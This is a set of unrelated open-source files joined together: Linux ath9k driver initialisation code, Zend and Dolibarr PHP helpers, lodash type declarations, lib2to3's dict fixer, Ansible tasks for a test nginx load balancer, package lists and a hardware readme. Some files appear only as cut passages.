ath9k_cmn_get_channel(sc->hw, ah, &chandef);
ath9k_hw_set_txpowerlimit(ah, MAX_RATE_POWER, true);
}
}
static void ath9k_init_txpower_limits(struct ath_softc *sc)
{
struct ath_hw *ah = sc->sc_ah;
struct ath9k_channel *curchan = ah->curchan;
if (ah->caps.hw_caps & ATH9K_HW_CAP_2GHZ)
ath9k_init_band_txpower(sc, NL80211_BAND_2GHZ);
if (ah->caps.hw_caps & ATH9K_HW_CAP_5GHZ)
ath9k_init_band_txpower(sc, NL80211_BAND_5GHZ);
ah->curchan = curchan;
}
static const struct ieee80211_iface_limit if_limits[] = {
{ .max = 2048, .types = BIT(NL80211_IFTYPE_STATION) },
{ .max = 8, .types =
#ifdef CONFIG_MAC80211_MESH
BIT(NL80211_IFTYPE_MESH_POINT) |
#endif
BIT(NL80211_IFTYPE_AP) },
{ .max = 1, .types = BIT(NL80211_IFTYPE_P2P_CLIENT) |
BIT(NL80211_IFTYPE_P2P_GO) },
};
#ifdef CONFIG_WIRELESS_WDS
static const struct ieee80211_iface_limit wds_limits[] = {
{ .max = 2048, .types = BIT(NL80211_IFTYPE_WDS) },
};
#endif
#ifdef CONFIG_ATH9K_CHANNEL_CONTEXT
static const struct ieee80211_iface_limit if_limits_multi[] = {
{ .max = 2, .types = BIT(NL80211_IFTYPE_STATION) |
BIT(NL80211_IFTYPE_AP) |
BIT(NL80211_IFTYPE_P2P_CLIENT) |
BIT(NL80211_IFTYPE_P2P_GO) },
{ .max = 1, .types = BIT(NL80211_IFTYPE_ADHOC) },
{ .max = 1, .types = BIT(NL80211_IFTYPE_P2P_DEVICE) },
};
static const struct ieee80211_iface_combination if_comb_multi[] = {
{
.limits = if_limits_multi,
.n_limits = ARRAY_SIZE(if_limits_multi),
.max_interfaces = 3,
.num_different_channels = 2,
.beacon_int_infra_match = true,
},
};
#endif /* CONFIG_ATH9K_CHANNEL_CONTEXT */
static const struct ieee80211_iface_combination if_comb[] = {
{
.limits = if_limits,
.n_limits = ARRAY_SIZE(if_limits),
.max_interfaces = 2048,
.num_different_channels = 1,
.beacon_int_infra_match = true,
#ifdef CONFIG_ATH9K_DFS_CERTIFIED
.radar_detect_widths = BIT(NL80211_CHAN_WIDTH_20_NOHT) |
BIT(NL80211_CHAN_WIDTH_20) |
BIT(NL80211_CHAN_WIDTH_40),
#endif
},
#ifdef CONFIG_WIRELESS_WDS
{
.limits = wds_limits,
.n_limits = ARRAY_SIZE(wds_limits),
.max_interfaces = 2048,
.num_different_channels = 1,
.beacon_int_infra_match = true,
},
#endif
};
#ifdef CONFIG_ATH9K_CHANNEL_CONTEXT
static void ath9k_set_mcc_capab(struct ath_softc *sc, struct ieee80211_hw *hw)
{
struct ath_hw *ah = sc->sc_ah;
struct ath_common *common = ath9k_hw_common(ah);
if (!ath9k_is_chanctx_enabled())
return;
ieee80211_hw_set(hw, QUEUE_CONTROL);
hw->queues = ATH9K_NUM_TX_QUEUES;
hw->offchannel_tx_hw_queue = hw->queues - 1;
hw->wiphy->interface_modes &= ~ BIT(NL80211_IFTYPE_WDS);
hw->wiphy->iface_combinations = if_comb_multi;
hw->wiphy->n_iface_combinations = ARRAY_SIZE(if_comb_multi);
hw->wiphy->max_scan_ssids = 255;
hw->wiphy->max_scan_ie_len = IEEE80211_MAX_DATA_LEN;
hw->wiphy->max_remain_on_channel_duration = 10000;
hw->chanctx_data_size = sizeof(void *);
hw->extra_beacon_tailroom =
sizeof(struct ieee80211_p2p_noa_attr) + 9;
ath_dbg(common, CHAN_CTX, "Use channel contexts\n");
}
#endif /* CONFIG_ATH9K_CHANNEL_CONTEXT */
static void ath9k_set_hw_capab(struct ath_softc *sc, struct ieee80211_hw *hw)
{
struct ath_hw *ah = sc->sc_ah;
struct ath_common *common = ath9k_hw_common(ah);
ieee80211_hw_set(hw, SUPPORTS_HT_CCK_RATES);
ieee80211_hw_set(hw, SUPPORTS_RC_TABLE);
ieee80211_hw_set(hw, REPORTS_TX_ACK_STATUS);
ieee80211_hw_set(hw, SPECTRUM_MGMT);
ieee80211_hw_set(hw, PS_NULLFUNC_STACK);
ieee80211_hw_set(hw, SIGNAL_DBM);
ieee80211_hw_set(hw, RX_INCLUDES_FCS);
ieee80211_hw_set(hw, HOST_BROADCAST_PS_BUFFERING);
ieee80211_hw_set(hw, SUPPORT_FAST_XMIT);
ieee80211_hw_set(hw, SUPPORTS_CLONED_SKBS);
if (ath9k_ps_enable)
ieee80211_hw_set(hw, SUPPORTS_PS);
if (sc->sc_ah->caps.hw_caps & ATH9K_HW_CAP_HT) {
ieee80211_hw_set(hw, AMPDU_AGGREGATION);
if (AR_SREV_9280_20_OR_LATER(ah))
hw->radiotap_mcs_details |=
IEEE80211_RADIOTAP_MCS_HAVE_STBC;
}
if (AR_SREV_9160_10_OR_LATER(sc->sc_ah) || ath9k_modparam_nohwcrypt)
ieee80211_hw_set(hw, MFP_CAPABLE);
hw->wiphy->features |= NL80211_FEATURE_ACTIVE_MONITOR |
NL80211_FEATURE_AP_MODE_CHAN_WIDTH_CHANGE |
NL80211_FEATURE_P2P_GO_CTWIN;
if (!IS_ENABLED(CONFIG_ATH9K_TX99)) {
hw->wiphy->interface_modes =
BIT(NL80211_IFTYPE_P2P_GO) |
BIT(NL80211_IFTYPE_P2P_CLIENT) |
BIT(NL80211_IFTYPE_AP) |
BIT(NL80211_IFTYPE_STATION) |
BIT(NL80211_IFTYPE_ADHOC) |
BIT(NL80211_IFTYPE_MESH_POINT) |
#ifdef CONFIG_WIRELESS_WDS
BIT(NL80211_IFTYPE_WDS) |
#endif
BIT(NL80211_IFTYPE_OCB);
if (ath9k_is_chanctx_enabled())
hw->wiphy->interface_modes |=
BIT(NL80211_IFTYPE_P2P_DEVICE);
hw->wiphy->iface_combinations = if_comb;
hw->wiphy->n_iface_combinations = ARRAY_SIZE(if_comb);
}
hw->wiphy->flags &= ~WIPHY_FLAG_PS_ON_BY_DEFAULT;
hw->wiphy->flags |= WIPHY_FLAG_IBSS_RSN;
hw->wiphy->flags |= WIPHY_FLAG_SUPPORTS_TDLS;
hw->wiphy->flags |= WIPHY_FLAG_HAS_REMAIN_ON_CHANNEL;
hw->wiphy->flags |= WIPHY_FLAG_SUPPORTS_5_10_MHZ;
hw->wiphy->flags |= WIPHY_FLAG_HAS_CHANNEL_SWITCH;
hw->wiphy->flags |= WIPHY_FLAG_AP_UAPSD;
hw->queues = 4;
hw->max_rates = 4;
hw->max_listen_interval = 10;
hw->max_rate_tries = 10;
hw->sta_data_size = sizeof(struct ath_node);
hw->vif_data_size = sizeof(struct ath_vif);
hw->txq_data_size = sizeof(struct ath_atx_tid);
hw->extra_tx_headroom = 4;
hw->wiphy->available_antennas_rx = BIT(ah->caps.max_rxchains) - 1;
hw->wiphy->available_antennas_tx = BIT(ah->caps.max_txchains) - 1;
/* single chain devices with rx diversity */
if (ah->caps.hw_caps & ATH9K_HW_CAP_ANT_DIV_COMB)
hw->wiphy->available_antennas_rx = BIT(0) | BIT(1);
sc->ant_rx = hw->wiphy->available_antennas_rx;
sc->ant_tx = hw->wiphy->available_antennas_tx;
if (sc->sc_ah->caps.hw_caps & ATH9K_HW_CAP_2GHZ)
hw->wiphy->bands[NL80211_BAND_2GHZ] =
&common->sbands[NL80211_BAND_2GHZ];
if (sc->sc_ah->caps.hw_caps & ATH9K_HW_CAP_5GHZ)
hw->wiphy->bands[NL80211_BAND_5GHZ] =
&common->sbands[NL80211_BAND_5GHZ];
#ifdef CONFIG_ATH9K_CHANNEL_CONTEXT
ath9k_set_mcc_capab(sc, hw);
#endif
ath9k_init_wow(hw);
ath9k_cmn_reload_chainmask(ah);
SET_IEEE80211_PERM_ADDR(hw, common->macaddr);
wiphy_ext_feature_set(hw->wiphy, NL80211_EXT_FEATURE_CQM_RSSI_LIST);
}
int ath9k_init_device(u16 devid, struct ath_softc *sc,
const struct ath_bus_ops *bus_ops)
{
struct ieee80211_hw *hw = sc->hw;
struct ath_common *common;
struct ath_hw *ah;
int error = 0;
struct ath_regulatory *reg;
/* Bring up device */
error = ath9k_init_softc(devid, sc, bus_ops);
if (error)
return error;
ah = sc->sc_ah;
common = ath9k_hw_common(ah);
ath9k_set_hw_capab(sc, hw);
/* Initialize regulatory */
error = ath_regd_init(&common->regulatory, sc->hw->wiphy,
ath9k_reg_notifier);
if (error)
goto deinit;
reg = &common->regulatory;
/* Setup TX DMA */
error = ath_tx_init(sc, ATH_TXBUF);
if (error != 0)
goto deinit;
/* Setup RX DMA */
error = ath_rx_init(sc, ATH_RXBUF);
if (error != 0)
goto deinit;
ath9k_init_txpower_limits(sc);
#ifdef CONFIG_MAC80211_LEDS
/* must be initialized before ieee80211_register_hw */
sc->led_cdev.default_trigger = ieee80211_create_tpt_led_trigger(sc->hw,
IEEE80211_TPT_LEDTRIG_FL_RADIO, ath9k_tpt_blink,
ARRAY_SIZE(ath9k_tpt_blink));
#endif
/* Register with mac80211 */
error = ieee80211_register_hw(hw);
if (error)
goto rx_cleanup;
error = ath9k_init_debug(ah);
if (error) {
ath_err(common, "Unable to create debugfs files\n");
goto unregister;
}
/* Handle world regulatory */
if (!ath_is_world_regd(reg)) {
error = regulatory_hint(hw->wiphy, reg->alpha2);
if (error)
goto debug_cleanup;
}
ath_init_leds(sc);
ath_start_rfkill_poll(sc);
return 0;
debug_cleanup:
ath9k_deinit_debug(sc);
unregister:
ieee80211_unregister_hw(hw);
rx_cleanup:
ath_rx_cleanup(sc);
deinit:
ath9k_deinit_softc(sc);
return error;
}
/*****************************/
/* De-Initialization */
/*****************************/
static void ath9k_deinit_softc(struct ath_softc *sc)
{
int i = 0;
ath9k_deinit_p2p(sc);
ath9k_deinit_btcoex(sc);
for (i = 0; i < ATH9K_NUM_TX_QUEUES; i++)
if (ATH_TXQ_SETUP(sc, i))
ath_tx_cleanupq(sc, &sc->tx.txq[i]);
del_timer_sync(&sc->sleep_timer);
ath9k_hw_deinit(sc->sc_ah);
if (sc->dfs_detector != NULL)
sc->dfs_detector->exit(sc->dfs_detector);
ath9k_eeprom_release(sc);
}
void ath9k_deinit_device(struct ath_softc *sc)
{
struct ieee80211_hw *hw = sc->hw;
ath9k_ps_wakeup(sc);
wiphy_rfkill_stop_polling(sc->hw->wiphy);
ath_deinit_leds(sc);
ath9k_ps_restore(sc);
ath9k_deinit_debug(sc);
ath9k_deinit_wow(hw);
ieee80211_unregister_hw(hw);
ath_rx_cleanup(sc);
ath9k_deinit_softc(sc);
}
/************************/
/* Module Hooks */
/************************/
static int __init ath9k_init(void)
{
int error;
error = ath_pci_init();
if (error < 0) {
pr_err("No PCI devices found, driver not installed\n");
error = -ENODEV;
goto err_out;
}
error = ath_ahb_init();
if (error < 0) {
error = -ENODEV;
goto err_pci_exit;
}
return 0;
err_pci_exit:
ath_pci_exit();
err_out:
return error;
}
module_init(ath9k_init);
static void __exit ath9k_exit(void)
{
is_ath9k_unloaded = true;
ath_ahb_exit();
ath_pci_exit();
pr_info("%s: Driver unloaded\n", dev_info);
}
module_exit(ath9k_exit);
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to license@zend.com so we can send you a copy immediately.
*
* @category ZendX
* @package ZendX_JQuery
* @subpackage View
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
* @version $Id: TabContainer.php 20165 2010-01-09 18:57:56Z bkarwin $
*/
/**
* @see ZendX_JQuery_View_Helper_UiWidget
*/
require_once "ZendX/JQuery/View/Helper/UiWidget.php";
/**
* jQuery Tabs Container View Helper
*
* @uses Zend_Json
* @package ZendX_JQuery
* @subpackage View
* @copyright Copyright (c) 2005-2010 Zend Technologies USA Inc. (http://www.zend.com)
* @license http://framework.zend.com/license/new-bsd New BSD License
*/
class ZendX_JQuery_View_Helper_TabContainer extends ZendX_JQuery_View_Helper_UiWidget
{
/**
* Save all the pre-rendered tab panes to each tab container
*
* @var array
*/
protected $_tabs = array();
/**
* Add Tab to TabsContainer
*
* @param string $id
* @param string $name
* @param string $content
* @param array $options
* @return ZendX_JQuery_View_Helper_TabsContainer
*/
public function addPane($id, $name, $content, array $options=array())
{
if(!isset($this->_tabs[$id])) {
$this->_tabs[$id] = array();
}
if(strlen($name) == 0 && isset($options['title'])) {
$name = $options['title'];
}
$this->_tabs[$id][] = array('name' => $name, 'content' => $content, 'options' => $options);
return $this;
}
/**
* Render TabsContainer with all the currently registered tabs.
*
* Render all tabs to the given $id. If no arguments are given the
* tabsContainer view helper object is returned and can be used
* for chaining {@link addPane()} for tab pane adding.
*
* @link http://docs.jquery.com/UI/Tabs
* @param string $id
* @param array $params
* @param array $attribs
* @return string|ZendX_JQuery_View_Helper_TabsContainer
*/
public function tabContainer($id=null, $params=array(), $attribs=array())
{
if(func_num_args() === 0) {
return $this;
}
if(!isset($attribs['id'])) {
$attribs['id'] = $id;
}
$content = "";
if(isset($this->_tabs[$id])) {
$list = '<ul class="ui-tabs-nav">'.PHP_EOL;
$html = '';
$fragment_counter = 1;
foreach($this->_tabs[$id] AS $k => $v) {
$frag_name = sprintf('%s-frag-%d', $attribs['id'], $fragment_counter++);
$opts = $v['options'];
if(isset($opts['contentUrl'])) {
$list .= '<li class="ui-tabs-nav-item"><a href="'.$opts['contentUrl'].'"><span>'.$v['name'].'</span></a></li>'.PHP_EOL;
} else {
$list .= '<li class="ui-tabs-nav-item"><a href="#'.$frag_name.'"><span>'.$v['name'].'</span></a></li>'.PHP_EOL;
$html .= '<div id="'.$frag_name.'" class="ui-tabs-panel">'.$v['content'].'</div>'.PHP_EOL;
}
}
$list .= '</ul>'.PHP_EOL;
$content = $list.$html;
unset($this->_tabs[$id]);
}
if(count($params)) {
$params = ZendX_JQuery::encodeJson($params);
} else {
$params = '{}';
}
$js = sprintf('%s("#%s").tabs(%s);',
ZendX_JQuery_View_Helper_JQuery::getJQueryHandler(),
$attribs['id'],
$params
);
$this->jquery->addOnLoad($js);
$html = '<div'
. $this->_htmlAttribs($attribs)
. '>'.PHP_EOL
. $content
. '</div>'.PHP_EOL;
return $html;
}
}
|
{
"pile_set_name": "Github"
}
|
import castArray from "./castArray";
import clone from "./clone";
import cloneDeep from "./cloneDeep";
import cloneDeepWith from "./cloneDeepWith";
import cloneWith from "./cloneWith";
import conformsTo from "./conformsTo";
import eq from "./eq";
import gt from "./gt";
import gte from "./gte";
import isArguments from "./isArguments";
import isArray from "./isArray";
import isArrayBuffer from "./isArrayBuffer";
import isArrayLike from "./isArrayLike";
import isArrayLikeObject from "./isArrayLikeObject";
import isBoolean from "./isBoolean";
import isBuffer from "./isBuffer";
import isDate from "./isDate";
import isElement from "./isElement";
import isEmpty from "./isEmpty";
import isEqual from "./isEqual";
import isEqualWith from "./isEqualWith";
import isError from "./isError";
import isFinite from "./isFinite";
import isFunction from "./isFunction";
import isInteger from "./isInteger";
import isLength from "./isLength";
import isMap from "./isMap";
import isMatch from "./isMatch";
import isMatchWith from "./isMatchWith";
import isNaN from "./isNaN";
import isNative from "./isNative";
import isNil from "./isNil";
import isNull from "./isNull";
import isNumber from "./isNumber";
import isObject from "./isObject";
import isObjectLike from "./isObjectLike";
import isPlainObject from "./isPlainObject";
import isRegExp from "./isRegExp";
import isSafeInteger from "./isSafeInteger";
import isSet from "./isSet";
import isString from "./isString";
import isSymbol from "./isSymbol";
import isTypedArray from "./isTypedArray";
import isUndefined from "./isUndefined";
import isWeakMap from "./isWeakMap";
import isWeakSet from "./isWeakSet";
import lt from "./lt";
import lte from "./lte";
import toArray from "./toArray";
import toFinite from "./toFinite";
import toInteger from "./toInteger";
import toLength from "./toLength";
import toNumber from "./toNumber";
import toPlainObject from "./toPlainObject";
import toSafeInteger from "./toSafeInteger";
import toString from "./toString";
declare const defaultExport: {
castArray: typeof castArray;
clone: typeof clone;
cloneDeep: typeof cloneDeep;
cloneDeepWith: typeof cloneDeepWith;
cloneWith: typeof cloneWith;
conformsTo: typeof conformsTo;
eq: typeof eq;
gt: typeof gt;
gte: typeof gte;
isArguments: typeof isArguments;
isArray: typeof isArray;
isArrayBuffer: typeof isArrayBuffer;
isArrayLike: typeof isArrayLike;
isArrayLikeObject: typeof isArrayLikeObject;
isBoolean: typeof isBoolean;
isBuffer: typeof isBuffer;
isDate: typeof isDate;
isElement: typeof isElement;
isEmpty: typeof isEmpty;
isEqual: typeof isEqual;
isEqualWith: typeof isEqualWith;
isError: typeof isError;
isFinite: typeof isFinite;
isFunction: typeof isFunction;
isInteger: typeof isInteger;
isLength: typeof isLength;
isMap: typeof isMap;
isMatch: typeof isMatch;
isMatchWith: typeof isMatchWith;
isNaN: typeof isNaN;
isNative: typeof isNative;
isNil: typeof isNil;
isNull: typeof isNull;
isNumber: typeof isNumber;
isObject: typeof isObject;
isObjectLike: typeof isObjectLike;
isPlainObject: typeof isPlainObject;
isRegExp: typeof isRegExp;
isSafeInteger: typeof isSafeInteger;
isSet: typeof isSet;
isString: typeof isString;
isSymbol: typeof isSymbol;
isTypedArray: typeof isTypedArray;
isUndefined: typeof isUndefined;
isWeakMap: typeof isWeakMap;
isWeakSet: typeof isWeakSet;
lt: typeof lt;
lte: typeof lte;
toArray: typeof toArray;
toFinite: typeof toFinite;
toInteger: typeof toInteger;
toLength: typeof toLength;
toNumber: typeof toNumber;
toPlainObject: typeof toPlainObject;
toSafeInteger: typeof toSafeInteger;
toString: typeof toString;
};
export default defaultExport;
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML>
<html>
<head>
</head>
<body>
<div id="test">Click/tap me</div>
<script>
'use strict';
var el = document.getElementById('test');
var valueSettableByTest = 0;
var valueToTest = 0;
el.addEventListener('click', function() {
valueToTest = valueSettableByTest;
});
</script>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
---
- debug:
msg: |
################### Test Load Balancer Enaabled ####################
You have enabled the loadbalancer role that is only intended for
testing purposes, and should not be used in a produciton setting.
####################################################################
- name: create /etc/nginx directory
file:
dest: /etc/nginx
state: directory
- name: drop the nginx.conf template
template:
src: etc/nginx/nginx.conf
dest: /etc/nginx/nginx.conf
- name: install docker-py
pip:
name: docker-py
- name: open api server port
firewalld:
port: 6443/tcp
permanent: yes
state: enabled
immediate: True
when: ansible_distribution == 'CentOS' or ansible_distribution == 'Red Hat Enterprise Linux'
- name: run nginx docker container
become: yes
docker_container:
name: kubernetes-nginx-proxy
image: nginx
restart_policy: always
volumes:
- "/etc/nginx:/etc/nginx"
network_mode: host
|
{
"pile_set_name": "Github"
}
|
allow-deny@1.1.0
autoupdate@1.3.12
babel-compiler@6.24.7
babel-runtime@1.1.1
base64@1.0.10
binary-heap@1.0.10
boilerplate-generator@1.3.0
caching-compiler@1.1.9
callback-hook@1.0.10
check@1.2.5
ddp@1.4.0
ddp-client@2.2.0
ddp-common@1.3.0
ddp-server@2.1.1
diff-sequence@1.0.7
dynamic-import@0.2.1
ecmascript@0.9.0
ecmascript-runtime@0.5.0
ecmascript-runtime-client@0.5.0
ecmascript-runtime-server@0.5.0
ejson@1.1.0
es5-shim@4.6.15
geojson-utils@1.0.10
hot-code-push@1.0.4
http@1.3.0
id-map@1.0.9
jquery@1.11.10
kadira:flow-router@2.12.1
less@2.7.11
livedata@1.0.18
logging@1.1.19
mdg:animations@0.2.3
mdg:borealis@0.2.6
mdg:buttons@0.2.8
mdg:callout@0.2.6
mdg:chromatic@0.3.0
mdg:chromatic-api@0.3.2
mdg:chromatic-explorer@0.3.0
mdg:code-block@0.2.5
mdg:color-grid@0.2.4
mdg:date-components@0.2.4
mdg:flow-router-extensions@0.2.9
mdg:form-components@0.2.12
mdg:list@0.2.14
mdg:loading-spinner@0.2.6
mdg:outlines@0.2.3
mdg:overlays@0.2.11
mdg:react-meteor-app@0.2.8
mdg:sortable@0.2.12
mdg:tooltips@0.2.11
mdg:utils@0.2.3
mdg:validation-error@0.5.1
meteor@1.8.0
meteor-base@1.2.0
minifier-css@1.2.16
minifier-js@2.2.2
minimongo@1.4.0
modules@0.11.0
modules-runtime@0.9.0
momentjs:moment@2.14.4
mongo@1.3.1
mongo-dev-server@1.1.0
mongo-id@1.0.6
npm-mongo@2.2.33
numeral:numeral@1.5.3_1
ordered-dict@1.0.9
percolate:icons@0.0.12
promise@0.10.0
random@1.0.10
react-meteor-data@0.2.9
reactive-dict@1.2.0
reactive-var@1.0.11
reload@1.1.11
retry@1.0.9
routepolicy@1.0.12
session@1.1.7
shell-server@0.3.0
simple:highlight.js@1.2.0
standard-minifier-css@1.3.5
standard-minifier-js@2.2.3
tmeasday:check-npm-versions@0.3.1
tracker@1.1.3
underscore@1.0.10
url@1.1.0
webapp@1.4.0
webapp-hashing@1.0.9
|
{
"pile_set_name": "Github"
}
|
Description of product LCD-OLinuXino-4.3RTS
LCD-OLinuXino-4.3RTS is is a 4.3 inch display with resolution of 800x480 pixels and resistive touch screen.
It uses LCD-DRIVER board, instead the original board design of the original
LCD-OLinuXino-4.3 (without the plus).
In LCD-OLinuXino-4.3RTS the touschreen uses digital interface (I2C).
Refer to LCD-DRIVER's GitHub page for the hardware source files.
It is important to notice that depending on the size of the display and the type of touschreen
used the LCD_DRIVER board would be configured dirrently. Refer to the labes in the schematic
and also refer to the bill of materials in the hardware revision B folder (BOM) for the
different configurations.
|
{
"pile_set_name": "Github"
}
|
# Copyright 2007 Google, Inc. All Rights Reserved.
# Licensed to PSF under a Contributor Agreement.
"""Fixer for dict methods.
d.keys() -> list(d.keys())
d.items() -> list(d.items())
d.values() -> list(d.values())
d.iterkeys() -> iter(d.keys())
d.iteritems() -> iter(d.items())
d.itervalues() -> iter(d.values())
d.viewkeys() -> d.keys()
d.viewitems() -> d.items()
d.viewvalues() -> d.values()
Except in certain very specific contexts: the iter() can be dropped
when the context is list(), sorted(), iter() or for...in; the list()
can be dropped when the context is list() or sorted() (but not iter()
or for...in!). Special contexts that apply to both: list(), sorted(), tuple()
set(), any(), all(), sum().
Note: iter(d.keys()) could be written as iter(d) but since the
original d.iterkeys() was also redundant we don't fix this. And there
are (rare) contexts where it makes a difference (e.g. when passing it
as an argument to a function that introspects the argument).
"""
# Local imports
from .. import pytree
from .. import patcomp
from ..pgen2 import token
from .. import fixer_base
from ..fixer_util import Name, Call, LParen, RParen, ArgList, Dot
from .. import fixer_util
iter_exempt = fixer_util.consuming_calls | set(["iter"])
class FixDict(fixer_base.BaseFix):
BM_compatible = True
PATTERN = """
power< head=any+
trailer< '.' method=('keys'|'items'|'values'|
'iterkeys'|'iteritems'|'itervalues'|
'viewkeys'|'viewitems'|'viewvalues') >
parens=trailer< '(' ')' >
tail=any*
>
"""
def transform(self, node, results):
head = results["head"]
method = results["method"][0] # Extract node for method name
tail = results["tail"]
syms = self.syms
method_name = method.value
isiter = method_name.startswith(u"iter")
isview = method_name.startswith(u"view")
if isiter or isview:
method_name = method_name[4:]
assert method_name in (u"keys", u"items", u"values"), repr(method)
head = [n.clone() for n in head]
tail = [n.clone() for n in tail]
special = not tail and self.in_special_context(node, isiter)
args = head + [pytree.Node(syms.trailer,
[Dot(),
Name(method_name,
prefix=method.prefix)]),
results["parens"].clone()]
new = pytree.Node(syms.power, args)
if not (special or isview):
new.prefix = u""
new = Call(Name(u"iter" if isiter else u"list"), [new])
if tail:
new = pytree.Node(syms.power, [new] + tail)
new.prefix = node.prefix
return new
P1 = "power< func=NAME trailer< '(' node=any ')' > any* >"
p1 = patcomp.compile_pattern(P1)
P2 = """for_stmt< 'for' any 'in' node=any ':' any* >
| comp_for< 'for' any 'in' node=any any* >
"""
p2 = patcomp.compile_pattern(P2)
def in_special_context(self, node, isiter):
if node.parent is None:
return False
results = {}
if (node.parent.parent is not None and
self.p1.match(node.parent.parent, results) and
results["node"] is node):
if isiter:
# iter(d.iterkeys()) -> iter(d.keys()), etc.
return results["func"].value in iter_exempt
else:
# list(d.keys()) -> list(d.keys()), etc.
return results["func"].value in fixer_util.consuming_calls
if not isiter:
return False
# for ... in d.iterkeys() -> for ... in d.keys(), etc.
return self.p2.match(node.parent, results) and results["node"] is node
|
{
"pile_set_name": "Github"
}
|
ADD_SUBDIRECTORY(SSE)
ADD_SUBDIRECTORY(AltiVec)
ADD_SUBDIRECTORY(NEON)
ADD_SUBDIRECTORY(Default)
|
{
"pile_set_name": "Github"
}
|
<?php
/* Copyright (C) 2006 Laurent Destailleur <eldy@users.sourceforge.net>
* Copyright (C) 2006-2017 Regis Houssin <regis.houssin@inodbox.com>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
* or see https://www.gnu.org/
*/
/**
* \file htdocs/core/lib/ldap.lib.php
* \brief Ensemble de fonctions de base pour le module LDAP
* \ingroup ldap
*/
/**
* Initialize the array of tabs for customer invoice
*
* @return array Array of head tabs
*/
function ldap_prepare_head()
{
global $langs, $conf, $user;
$langs->load("ldap");
// Onglets
$head = array();
$h = 0;
$head[$h][0] = DOL_URL_ROOT."/admin/ldap.php";
$head[$h][1] = $langs->trans("LDAPGlobalParameters");
$head[$h][2] = 'ldap';
$h++;
if (!empty($conf->global->LDAP_SYNCHRO_ACTIVE))
{
$head[$h][0] = DOL_URL_ROOT."/admin/ldap_users.php";
$head[$h][1] = $langs->trans("LDAPUsersSynchro");
$head[$h][2] = 'users';
$h++;
}
if (!empty($conf->global->LDAP_SYNCHRO_ACTIVE))
{
$head[$h][0] = DOL_URL_ROOT."/admin/ldap_groups.php";
$head[$h][1] = $langs->trans("LDAPGroupsSynchro");
$head[$h][2] = 'groups';
$h++;
}
if (!empty($conf->societe->enabled) && !empty($conf->global->LDAP_CONTACT_ACTIVE))
{
$head[$h][0] = DOL_URL_ROOT."/admin/ldap_contacts.php";
$head[$h][1] = $langs->trans("LDAPContactsSynchro");
$head[$h][2] = 'contacts';
$h++;
}
if (!empty($conf->adherent->enabled) && !empty($conf->global->LDAP_MEMBER_ACTIVE))
{
$head[$h][0] = DOL_URL_ROOT."/admin/ldap_members.php";
$head[$h][1] = $langs->trans("LDAPMembersSynchro");
$head[$h][2] = 'members';
$h++;
}
if (!empty($conf->adherent->enabled) && !empty($conf->global->LDAP_MEMBER_TYPE_ACTIVE))
{
$head[$h][0] = DOL_URL_ROOT."/admin/ldap_members_types.php";
$head[$h][1] = $langs->trans("LDAPMembersTypesSynchro");
$head[$h][2] = 'memberstypes';
$h++;
}
// Show more tabs from modules
// Entries must be declared in modules descriptor with line
// $this->tabs = array('entity:+tabname:Title:@mymodule:/mymodule/mypage.php?id=__ID__'); to add new tab
// $this->tabs = array('entity:-tabname); to remove a tab
complete_head_from_modules($conf, $langs, null, $head, $h, 'ldap');
complete_head_from_modules($conf, $langs, null, $head, $h, 'ldap', 'remove');
return $head;
}
/**
* Show button test LDAP synchro
*
* @param string $butlabel Label
* @param string $testlabel Label
* @param string $key Key
* @param string $dn Dn
* @param string $objectclass Class
* @return void
*/
function show_ldap_test_button($butlabel, $testlabel, $key, $dn, $objectclass)
{
global $langs, $conf, $user;
//print 'key='.$key.' dn='.$dn.' objectclass='.$objectclass;
print '<br>';
if (!function_exists("ldap_connect"))
{
print '<a class="butActionRefused classfortooltip" href="#" title="'.$langs->trans('LDAPFunctionsNotAvailableOnPHP').'">'.$butlabel.'</a>';
} elseif (empty($conf->global->LDAP_SERVER_HOST))
{
print '<a class="butActionRefused classfortooltip" href="#" title="'.$langs->trans('LDAPSetupNotComplete').'">'.$butlabel.'</a>';
} elseif (empty($key) || empty($dn) || empty($objectclass))
{
$langs->load("errors");
print '<a class="butActionRefused classfortooltip" href="#" title="'.$langs->trans('ErrorLDAPSetupNotComplete').'">'.$butlabel.'</a>';
} else {
print '<a class="butAction reposition" href="'.$_SERVER["PHP_SELF"].'?action='.$testlabel.'">'.$butlabel.'</a>';
}
print '<br><br>';
}
/**
* Show a LDAP array into an HTML output array.
*
* @param array $result Array to show. This array is already encoded into charset_output
* @param int $level Level
* @param int $count Count
* @param string $var Var
* @param int $hide Hide
* @param int $subcount Subcount
* @return int
*/
function show_ldap_content($result, $level, $count, $var, $hide = 0, $subcount = 0)
{
global $bc, $conf;
$count--;
if ($count == 0) return -1; // To stop loop
if (!is_array($result)) return -1;
foreach ($result as $key => $val)
{
if ("$key" == "objectclass") continue;
if ("$key" == "count") continue;
if ("$key" == "dn") continue;
if ("$val" == "objectclass") continue;
$lastkey[$level] = $key;
if (is_array($val))
{
$hide = 0;
if (!is_numeric($key))
{
print '<tr class="oddeven">';
print '<td>';
print $key;
print '</td><td>';
if (strtolower($key) == 'userpassword') $hide = 1;
}
show_ldap_content($val, $level + 1, $count, $var, $hide, $val["count"]);
} elseif ($subcount)
{
$subcount--;
$newstring = dol_htmlentitiesbr($val);
if ($hide) print preg_replace('/./i', '*', $newstring);
else print $newstring;
print '<br>';
}
if ("$val" != $lastkey[$level] && !$subcount) print '</td></tr>';
}
return 1;
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Benchstat computes and compares statistics about benchmarks.
//
// Usage:
//
